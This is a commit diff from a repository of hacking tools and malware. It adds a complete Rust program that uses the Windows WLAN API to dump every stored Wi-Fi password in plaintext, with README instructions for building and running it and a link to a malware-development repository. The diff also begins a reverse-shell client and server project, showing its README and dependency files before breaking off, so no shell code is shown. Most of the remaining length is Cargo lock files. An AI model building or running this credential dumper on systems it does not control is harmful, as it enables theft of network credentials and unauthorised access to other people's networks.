Skip to content

This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.

commit

aw-junaid1d3d04770bb7
diff --git a/Rust for Hacking/Recon/extract_wifi/Cargo.lock b/Rust for Hacking/Recon/extract_wifi/Cargo.lock
new file mode 100644
index 0000000..4af6012
--- /dev/null
+++ b/Rust for Hacking/Recon/extract_wifi/Cargo.lock
@@ -0,0 +1,270 @@
+# This file is automatically @generated by Cargo.
+# It is not intended for manual editing.
+version = 3
+
+[[package]]
+name = "aho-corasick"
+version = "1.1.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916"
+dependencies = [
+ "memchr",
+]
+
+[[package]]
+name = "anstream"
+version = "0.6.14"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "418c75fa768af9c03be99d17643f93f79bbba589895012a80e3452a19ddda15b"
+dependencies = [
+ "anstyle",
+ "anstyle-parse",
+ "anstyle-query",
+ "anstyle-wincon",
+ "colorchoice",
+ "is_terminal_polyfill",
+ "utf8parse",
+]
+
+[[package]]
+name = "anstyle"
+version = "1.0.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "038dfcf04a5feb68e9c60b21c9625a54c2c0616e79b72b0fd87075a056ae1d1b"
+
+[[package]]
+name = "anstyle-parse"
+version = "0.2.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c03a11a9034d92058ceb6ee011ce58af4a9bf61491aa7e1e59ecd24bd40d22d4"
+dependencies = [
+ "utf8parse",
+]
+
+[[package]]
+name = "anstyle-query"
+version = "1.0.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a64c907d4e79225ac72e2a354c9ce84d50ebb4586dee56c82b3ee73004f537f5"
+dependencies = [
+ "windows-sys",
+]
+
+[[package]]
+name = "anstyle-wincon"
+version = "3.0.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "61a38449feb7068f52bb06c12759005cf459ee52bb4adc1d5a7c4322d716fb19"
+dependencies = [
+ "anstyle",
+ "windows-sys",
+]
+
+[[package]]
+name = "colorchoice"
+version = "1.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0b6a852b24ab71dffc585bcb46eaf7959d175cb865a7152e35b348d1b2960422"
+
+[[package]]
+name = "env_filter"
+version = "0.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a009aa4810eb158359dda09d0c87378e4bbb89b5a801f016885a4707ba24f7ea"
+dependencies = [
+ "log",
+ "regex",
+]
+
+[[package]]
+name = "env_logger"
+version = "0.11.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "38b35839ba51819680ba087cd351788c9a3c476841207e0b8cee0b04722343b9"
+dependencies = [
+ "anstream",
+ "anstyle",
+ "env_filter",
+ "humantime",
+ "log",
+]
+
+[[package]]
+name = "extract_wifi"
+version = "0.1.0"
+dependencies = [
+ "env_logger",
+ "log",
+ "quick-xml",
+ "widestring",
+ "winapi",
+]
+
+[[package]]
+name = "humantime"
+version = "2.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4"
+
+[[package]]
+name = "is_terminal_polyfill"
+version = "1.70.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f8478577c03552c21db0e2724ffb8986a5ce7af88107e6be5d2ee6e158c12800"
+
+[[package]]
+name = "log"
+version = "0.4.21"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "90ed8c1e510134f979dbc4f070f87d4313098b704861a105fe34231c70a3901c"
+
+[[package]]
+name = "memchr"
+version = "2.7.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6c8640c5d730cb13ebd907d8d04b52f55ac9a2eec55b440c8892f40d56c76c1d"
+
+[[package]]
+name = "quick-xml"
+version = "0.31.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1004a344b30a54e2ee58d66a71b32d2db2feb0a31f9a2d302bf0536f15de2a33"
+dependencies = [
+ "memchr",
+]
+
+[[package]]
+name = "regex"
+version = "1.10.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c117dbdfde9c8308975b6a18d71f3f385c89461f7b3fb054288ecf2a2058ba4c"
+dependencies = [
+ "aho-corasick",
+ "memchr",
+ "regex-automata",
+ "regex-syntax",
+]
+
+[[package]]
+name = "regex-automata"
+version = "0.4.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "86b83b8b9847f9bf95ef68afb0b8e6cdb80f498442f5179a29fad448fcc1eaea"
+dependencies = [
+ "aho-corasick",
+ "memchr",
+ "regex-syntax",
+]
+
+[[package]]
+name = "regex-syntax"
+version = "0.8.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "adad44e29e4c806119491a7f06f03de4d1af22c3a680dd47f1e6e179439d1f56"
+
+[[package]]
+name = "utf8parse"
+version = "0.2.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a"
+
+[[package]]
+name = "widestring"
+version = "1.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7219d36b6eac893fa81e84ebe06485e7dcbb616177469b142df14f1f4deb1311"
+
+[[package]]
+name = "winapi"
+version = "0.3.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
+dependencies = [
+ "winapi-i686-pc-windows-gnu",
+ "winapi-x86_64-pc-windows-gnu",
+]
+
+[[package]]
+name = "winapi-i686-pc-windows-gnu"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
+
+[[package]]
+name = "winapi-x86_64-pc-windows-gnu"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
+
+[[package]]
+name = "windows-sys"
+version = "0.52.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
+dependencies = [
+ "windows-targets",
+]
+
+[[package]]
+name = "windows-targets"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6f0713a46559409d202e70e28227288446bf7841d3211583a4b53e3f6d96e7eb"
+dependencies = [
+ "windows_aarch64_gnullvm",
+ "windows_aarch64_msvc",
+ "windows_i686_gnu",
+ "windows_i686_gnullvm",
+ "windows_i686_msvc",
+ "windows_x86_64_gnu",
+ "windows_x86_64_gnullvm",
+ "windows_x86_64_msvc",
+]
+
+[[package]]
+name = "windows_aarch64_gnullvm"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7088eed71e8b8dda258ecc8bac5fb1153c5cffaf2578fc8ff5d61e23578d3263"
+
+[[package]]
+name = "windows_aarch64_msvc"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9985fd1504e250c615ca5f281c3f7a6da76213ebd5ccc9561496568a2752afb6"
+
+[[package]]
+name = "windows_i686_gnu"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "88ba073cf16d5372720ec942a8ccbf61626074c6d4dd2e745299726ce8b89670"
+
+[[package]]
+name = "windows_i686_gnullvm"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "87f4261229030a858f36b459e748ae97545d6f1ec60e5e0d6a3d32e0dc232ee9"
+
+[[package]]
+name = "windows_i686_msvc"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "db3c2bf3d13d5b658be73463284eaf12830ac9a26a90c717b7f771dfe97487bf"
+
+[[package]]
+name = "windows_x86_64_gnu"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4e4246f76bdeff09eb48875a0fd3e2af6aada79d409d33011886d3e1581517d9"
+
+[[package]]
+name = "windows_x86_64_gnullvm"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "852298e482cd67c356ddd9570386e2862b5673c85bd5f88df9ab6802b334c596"
+
+[[package]]
+name = "windows_x86_64_msvc"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bec47e5bfd1bff0eeaf6d8b485cc1074891a197ab4225d504cb7a1ab88b02bf0"
diff --git a/Rust for Hacking/Recon/extract_wifi/Cargo.toml b/Rust for Hacking/Recon/extract_wifi/Cargo.toml
new file mode 100644
index 0000000..444fc00
--- /dev/null
+++ b/Rust for Hacking/Recon/extract_wifi/Cargo.toml
@@ -0,0 +1,12 @@
+[package]
+name = "extract_wifi"
+version = "0.1.0"
+edition = "2021"
+
+[dependencies]
+winapi = { version = "0.3.9", features = ["winuser","wlanapi","setupapi","winnls","fileapi","sysinfoapi" ,"debugapi","winerror", "wininet" , "winhttp" ,"synchapi","securitybaseapi","wincrypt","psapi", "tlhelp32", "heapapi","shellapi", "memoryapi", "processthreadsapi", "errhandlingapi", "winbase", "handleapi", "synchapi"] }
+env_logger = "0.11.3"
+log = "0.4.21"
+quick-xml = "0.31.0"
+widestring = "1.1.0"
+
diff --git a/Rust for Hacking/Recon/extract_wifi/README.md b/Rust for Hacking/Recon/extract_wifi/README.md
new file mode 100644
index 0000000..200ce82
--- /dev/null
+++ b/Rust for Hacking/Recon/extract_wifi/README.md
@@ -0,0 +1,19 @@
+## Extract Windows Stored Wifi Passwords
+
+### How to Run ...?!
+
+Clone the Repo and Enter into `extract_wifi` Directorty
+
+```
+cargo run
+```
+
+OR
+
+```
+cargo build
+cp .\target\extract_wifi.exe wifi.exe
+.\wifi.exe
+```
+
+For More Codes <a href="https://github.com/Whitecat18/Rust-for-Malware-Development.git" > Repo Link</a>
diff --git a/Rust for Hacking/Recon/extract_wifi/src/main.rs b/Rust for Hacking/Recon/extract_wifi/src/main.rs
new file mode 100644
index 0000000..0c9145a
--- /dev/null
+++ b/Rust for Hacking/Recon/extract_wifi/src/main.rs
@@ -0,0 +1,124 @@
+/*
+ Extract Wifi Passwords
+ For More Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
+ @5mukx
+*/
+
+macro_rules! error {
+ ($msg:expr, $($arg:expr), *) => {
+ println!("\\_____[!] {}", format!($msg, $($arg), *));
+ }
+}
+
+use std::ptr::null_mut;
+use std::slice;
+use winapi::{ctypes::c_void, shared::winerror::ERROR_SUCCESS};
+use winapi::um::wlanapi::*;
+use winapi::um::winnt::LPWSTR;
+use widestring::U16CString;
+use quick_xml::{Reader, events::Event};
+use log::{info, error};
+
+fn main() {
+ env_logger::init();
+ unsafe {
+ let mut handle: *mut c_void = null_mut();
+ let client_version: u32 = 2;
+ let mut negotiated_version: u32 = 0;
+ let result = WlanOpenHandle(client_version, null_mut(), &mut negotiated_version, &mut handle);
+ if result != ERROR_SUCCESS {
+ error!("WlanOpenHandle failed with error: {}", result);
+ return;
+ }
+ info!("WlanOpenHandle succeeded");
+
+ let mut interface_list: *mut WLAN_INTERFACE_INFO_LIST = null_mut();
+ let result = WlanEnumInterfaces(handle, null_mut(), &mut interface_list);
+ if result != ERROR_SUCCESS {
+ error!("WlanEnumInterfaces failed with error: {}", result);
+ WlanCloseHandle(handle, null_mut());
+ return;
+ }
+ info!("WlanEnumInterfaces succeeded");
+
+ let interface_list_ref = &*interface_list;
+ let interfaces = slice::from_raw_parts(interface_list_ref.InterfaceInfo.as_ptr(), interface_list_ref.dwNumberOfItems as usize);
+
+ for interface in interfaces {
+ let interface_guid = &interface.InterfaceGuid;
+
+ let mut profile_list: *mut WLAN_PROFILE_INFO_LIST = null_mut();
+ let result = WlanGetProfileList(handle, interface_guid, null_mut(), &mut profile_list);
+ if result != ERROR_SUCCESS {
+ error!("WlanGetProfileList failed with error: {}", result);
+ continue;
+ }
+ info!("WlanGetProfileList succeeded");
+
+ let profile_list_ref = &*profile_list;
+ let profiles = slice::from_raw_parts(profile_list_ref.ProfileInfo.as_ptr(), profile_list_ref.dwNumberOfItems as usize);
+
+ for profile in profiles {
+ let profile_name = U16CString::from_ptr_str(profile.strProfileName.as_ptr());
+
+ let mut profile_xml: LPWSTR = null_mut();
+ let mut flags = WLAN_PROFILE_GET_PLAINTEXT_KEY;
+ let result = WlanGetProfile(handle, interface_guid, profile_name.as_ptr(), null_mut(), &mut profile_xml, &mut flags, null_mut());
+ if result != ERROR_SUCCESS {
+ error!("WlanGetProfile failed with error: {}", result);
+ continue;
+ }
+
+ let profile_xml_slice = slice::from_raw_parts(profile_xml, wcslen(profile_xml));
+ let profile_xml_string = String::from_utf16_lossy(profile_xml_slice);
+
+ let mut reader = Reader::from_str(&profile_xml_string);
+ reader.trim_text(true);
+ let mut in_shared_key = false;
+ let mut key_material = String::new();
+
+ loop {
+ match reader.read_event() {
+ Ok(Event::Start(ref e)) => {
+ if e.name() == quick_xml::name::QName(b"keyMaterial") {
+ in_shared_key = true;
+ }
+ }
+ Ok(Event::Text(ref e)) if in_shared_key => {
+ key_material = e.escape_ascii().to_string();
+ in_shared_key = false;
+ }
+ Ok(Event::Eof) => break,
+ Err(e) => {
+ error!("Error parsing the XML: {:?}", e);
+ break;
+ }
+ _ => (),
+ }
+ }
+
+ if !key_material.is_empty() {
+ println!("NAME: {} | PASSWD: {}", profile_name.to_string_lossy(), key_material);
+ } else {
+ println!("NAME: {} | PASSWD NOT FOUND", profile_name.to_string_lossy());
+ }
+ WlanFreeMemory(profile_xml as *mut _);
+ }
+ WlanFreeMemory(profile_list as *mut _);
+ }
+
+ WlanFreeMemory(interface_list as *mut _);
+ WlanCloseHandle(handle, null_mut());
+ info!("WlanCloseHandle succeeded");
+ }
+}
+
+unsafe fn wcslen(mut s: *const u16) -> usize {
+ let mut len = 0;
+ while *s != 0 {
+ len += 1;
+ s = s.add(1);
+ }
+ len
+}
+
diff --git a/Rust for Hacking/Reverse Shell/README.md b/Rust for Hacking/Reverse Shell/README.md
new file mode 100644
index 0000000..523e774
--- /dev/null
+++ b/Rust for Hacking/Reverse Shell/README.md
@@ -0,0 +1,8 @@
+
+## Rust Simple Client Server Reverse Shell
+
+**Rev Receive** -> Client
+
+**Rev Shell** -> Server
+
+
diff --git a/Rust for Hacking/Reverse Shell/rev_receive/.gitignore b/Rust for Hacking/Reverse Shell/rev_receive/.gitignore
new file mode 100644
index 0000000..ea8c4bf
--- /dev/null
+++ b/Rust for Hacking/Reverse Shell/rev_receive/.gitignore
@@ -0,0 +1 @@
+/target
diff --git a/Rust for Hacking/Reverse Shell/rev_receive/Cargo.lock b/Rust for Hacking/Reverse Shell/rev_receive/Cargo.lock
new file mode 100644
index 0000000..9b78750
--- /dev/null
+++ b/Rust for Hacking/Reverse Shell/rev_receive/Cargo.lock
@@ -0,0 +1,435 @@
+# This file is automatically @generated by Cargo.
+# It is not intended for manual editing.
+version = 3
+
+[[package]]
+name = "addr2line"
+version = "0.21.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8a30b2e23b9e17a9f90641c7ab1549cd9b44f296d3ccbf309d2863cfe398a0cb"
+dependencies = [
+ "gimli",
+]
+
+[[package]]
+name = "adler"
+version = "1.0.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe"
+
+[[package]]
+name = "autocfg"
+version = "1.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0c4b4d0bd25bd0b74681c0ad21497610ce1b7c91b1022cd21c80c6fbdd9476b0"
+
+[[package]]
+name = "backtrace"
+version = "0.3.71"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "26b05800d2e817c8b3b4b54abd461726265fa9789ae34330622f2db9ee696f9d"
+dependencies = [
+ "addr2line",
+ "cc",
+ "cfg-if",
+ "libc",
+ "miniz_oxide",
+ "object",
+ "rustc-demangle",
+]
+
+[[package]]
+name = "base64"
+version = "0.22.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
+
+[[package]]
+name = "bitflags"
+version = "2.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cf4b9d6a944f767f8e5e0db018570623c85f3d925ac718db4e06d0187adb21c1"
+
+[[package]]
+name = "bytes"
+version = "1.6.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "514de17de45fdb8dc022b1a7975556c53c86f9f0aa5f534b98977b171857c2c9"
+
+[[package]]
+name = "cc"
+version = "1.0.97"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "099a5357d84c4c61eb35fc8eafa9a79a902c2f76911e5747ced4e032edd8d9b4"
+
+[[package]]
+name = "cfg-if"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
+
+[[package]]
+name = "gimli"
+version = "0.28.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253"
+
+[[package]]
+name = "hermit-abi"
+version = "0.3.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d231dfb89cfffdbc30e7fc41579ed6066ad03abda9e567ccafae602b97ec5024"
+
+[[package]]
+name = "libc"
+version = "0.2.155"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "97b3888a4aecf77e811145cadf6eef5901f4782c53886191b2f693f24761847c"
+
+[[package]]
+name = "lock_api"
+version = "0.4.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "07af8b9cdd281b7915f413fa73f29ebd5d55d0d3f0155584dade1ff18cea1b17"
+dependencies = [
+ "autocfg",
+ "scopeguard",
+]
+
+[[package]]
+name = "memchr"
+version = "2.7.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6c8640c5d730cb13ebd907d8d04b52f55ac9a2eec55b440c8892f40d56c76c1d"
+
+[[package]]
+name = "miniz_oxide"
+version = "0.7.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "87dfd01fe195c66b572b37921ad8803d010623c0aca821bea2302239d155cdae"
+dependencies = [
+ "adler",
+]
+
+[[package]]
+name = "mio"
+version = "0.8.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a4a650543ca06a924e8b371db273b2756685faae30f8487da1b56505a8f78b0c"
+dependencies = [
+ "libc",
+ "wasi",
+ "windows-sys 0.48.0",
+]
+
+[[package]]
+name = "num_cpus"
+version = "1.16.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43"
+dependencies = [
+ "hermit-abi",
+ "libc",
+]
+
+[[package]]
+name = "object"
+version = "0.32.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a6a622008b6e321afc04970976f62ee297fdbaa6f95318ca343e3eebb9648441"
+dependencies = [
+ "memchr",
+]
+
+[[package]]
+name = "parking_lot"
+version = "0.12.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7e4af0ca4f6caed20e900d564c242b8e5d4903fdacf31d3daf527b66fe6f42fb"
+dependencies = [
+ "lock_api",
+ "parking_lot_core",
+]
+
+[[package]]
+name = "parking_lot_core"
+version = "0.9.10"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1e401f977ab385c9e4e3ab30627d6f26d00e2c73eef317493c4ec6d468726cf8"
+dependencies = [
+ "cfg-if",
+ "libc",
+ "redox_syscall",
+ "smallvec",
+ "windows-targets 0.52.5",
+]
+
+[[package]]
+name = "pin-project-lite"
+version = "0.2.14"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bda66fc9667c18cb2758a2ac84d1167245054bcf85d5d1aaa6923f45801bdd02"
+
+[[package]]
+name = "proc-macro2"
+version = "1.0.82"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8ad3d49ab951a01fbaafe34f2ec74122942fe18a3f9814c3268f1bb72042131b"
+dependencies = [
+ "unicode-ident",
+]
+
+[[package]]
+name = "quote"
+version = "1.0.36"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0fa76aaf39101c457836aec0ce2316dbdc3ab723cdda1c6bd4e6ad4208acaca7"
+dependencies = [
+ "proc-macro2",
+]
+
+[[package]]
+name = "redox_syscall"
+version = "0.5.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "469052894dcb553421e483e4209ee581a45100d31b4018de03e5a7ad86374a7e"
+dependencies = [
+ "bitflags",
+]
+
+[[package]]
+name = "rev_receive"
+version = "0.1.0"
+dependencies = [
+ "base64",
+ "tokio",
+]
+
+[[package]]
+name = "rustc-demangle"
+version = "0.1.24"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "719b953e2095829ee67db738b3bfa9fa368c94900df327b3f07fe6e794d2fe1f"
+
+[[package]]
+name = "scopeguard"
+version = "1.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
+
+[[package]]
+name = "signal-hook-registry"
+version = "1.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a9e9e0b4211b72e7b8b6e85c807d36c212bdb33ea8587f7569562a84df5465b1"
+dependencies = [
+ "libc",
+]
+
+[[package]]
+name = "smallvec"
+version = "1.13.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3c5e1a9a646d36c3599cd173a41282daf47c44583ad367b8e6837255952e5c67"
+
+[[package]]
+name = "socket2"
+version = "0.5.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ce305eb0b4296696835b71df73eb912e0f1ffd2556a501fcede6e0c50349191c"
+dependencies = [
+ "libc",
+ "windows-sys 0.52.0",
+]
+
+[[package]]
+name = "syn"
+version = "2.0.64"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7ad3dee41f36859875573074334c200d1add8e4a87bb37113ebd31d926b7b11f"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "unicode-ident",
+]
+
+[[package]]
+name = "tokio"
+version = "1.37.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1adbebffeca75fcfd058afa480fb6c0b81e165a0323f9c9d39c9697e37c46787"
+dependencies = [
+ "backtrace",
+ "bytes",
+ "libc",
+ "mio",
+ "num_cpus",
+ "parking_lot",
+ "pin-project-lite",
+ "signal-hook-registry",
+ "socket2",
+ "tokio-macros",
+ "windows-sys 0.48.0",
+]
+
+[[package]]
+name = "tokio-macros"
+version = "2.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn",
+]
+
+[[package]]
+name = "unicode-ident"
+version = "1.0.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b"
+
+[[package]]
+name = "wasi"
+version = "0.11.0+wasi-snapshot-preview1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
+
+[[package]]
+name = "windows-sys"
+version = "0.48.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
+dependencies = [
+ "windows-targets 0.48.5",
+]
+
+[[package]]
+name = "windows-sys"
+version = "0.52.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
+dependencies = [
+ "windows-targets 0.52.5",
+]
+
+[[package]]
+name = "windows-targets"
+version = "0.48.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c"
+dependencies = [
+ "windows_aarch64_gnullvm 0.48.5",
+ "windows_aarch64_msvc 0.48.5",
+ "windows_i686_gnu 0.48.5",
+ "windows_i686_msvc 0.48.5",
+ "windows_x86_64_gnu 0.48.5",
+ "windows_x86_64_gnullvm 0.48.5",
+ "windows_x86_64_msvc 0.48.5",
+]
+
+[[package]]
+name = "windows-targets"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6f0713a46559409d202e70e28227288446bf7841d3211583a4b53e3f6d96e7eb"
+dependencies = [
+ "windows_aarch64_gnullvm 0.52.5",
+ "windows_aarch64_msvc 0.52.5",
+ "windows_i686_gnu 0.52.5",
+ "windows_i686_gnullvm",
+ "windows_i686_msvc 0.52.5",
+ "windows_x86_64_gnu 0.52.5",
+ "windows_x86_64_gnullvm 0.52.5",
+ "windows_x86_64_msvc 0.52.5",
+]
+
+[[package]]
+name = "windows_aarch64_gnullvm"
+version = "0.48.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8"
+
+[[package]]
+name = "windows_aarch64_gnullvm"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7088eed71e8b8dda258ecc8bac5fb1153c5cffaf2578fc8ff5d61e23578d3263"
+
+[[package]]
+name = "windows_aarch64_msvc"
+version = "0.48.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc"
+
+[[package]]
+name = "windows_aarch64_msvc"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9985fd1504e250c615ca5f281c3f7a6da76213ebd5ccc9561496568a2752afb6"
+
+[[package]]
+name = "windows_i686_gnu"
+version = "0.48.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e"
+
+[[package]]
+name = "windows_i686_gnu"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "88ba073cf16d5372720ec942a8ccbf61626074c6d4dd2e745299726ce8b89670"
+
+[[package]]
+name = "windows_i686_gnullvm"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "87f4261229030a858f36b459e748ae97545d6f1ec60e5e0d6a3d32e0dc232ee9"
+
+[[package]]
+name = "windows_i686_msvc"
+version = "0.48.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406"
+
+[[package]]
+name = "windows_i686_msvc"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "db3c2bf3d13d5b658be73463284eaf12830ac9a26a90c717b7f771dfe97487bf"
+
+[[package]]
+name = "windows_x86_64_gnu"
+version = "0.48.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e"
+
+[[package]]
+name = "windows_x86_64_gnu"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4e4246f76bdeff09eb48875a0fd3e2af6aada79d409d33011886d3e1581517d9"
+
+[[package]]
+name = "windows_x86_64_gnullvm"
+version = "0.48.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc"
+
+[[package]]
+name = "windows_x86_64_gnullvm"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "852298e482cd67c356ddd9570386e2862b5673c85bd5f88df9ab6802b334c596"
+
+[[package]]
+name = "windows_x86_64_msvc"
+version = "0.48.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538"
+
+[[package]]
+name = "windows_x86_64_msvc"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bec47e5bfd1bff0eeaf6d8b485cc1074891a197ab4225d504cb7a1ab88b02bf0"
diff --git a/Rust for Hacking/Reverse Shell/rev_receive/Cargo.toml b/Rust for Hacking/Reverse Shell/rev_receive/Cargo.toml
new file mode 100644
index 0000000..7c5b97e
--- /dev/null
+++ b/Rust for Hacking/Reverse Shell/rev_receive/Cargo.toml
@@ -0,0 +1,10 @@
+[package]
+name = "rev_receive"
+version = "0.1.0"
+edition = "2021"
+
+# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+
+[dependencies]
+base64 = "0.22.1"
+tokio = { version = "1.37.0" , features = ["full"] }
diff --git a/Rust for Hacking/Reverse Shell/rev_receive/src/main.rs b/Rust for Hacking/Reverse Shell/rev_receive/src/main.rs
new file mode 100644
index 0000000..83abc18
--- /dev/null
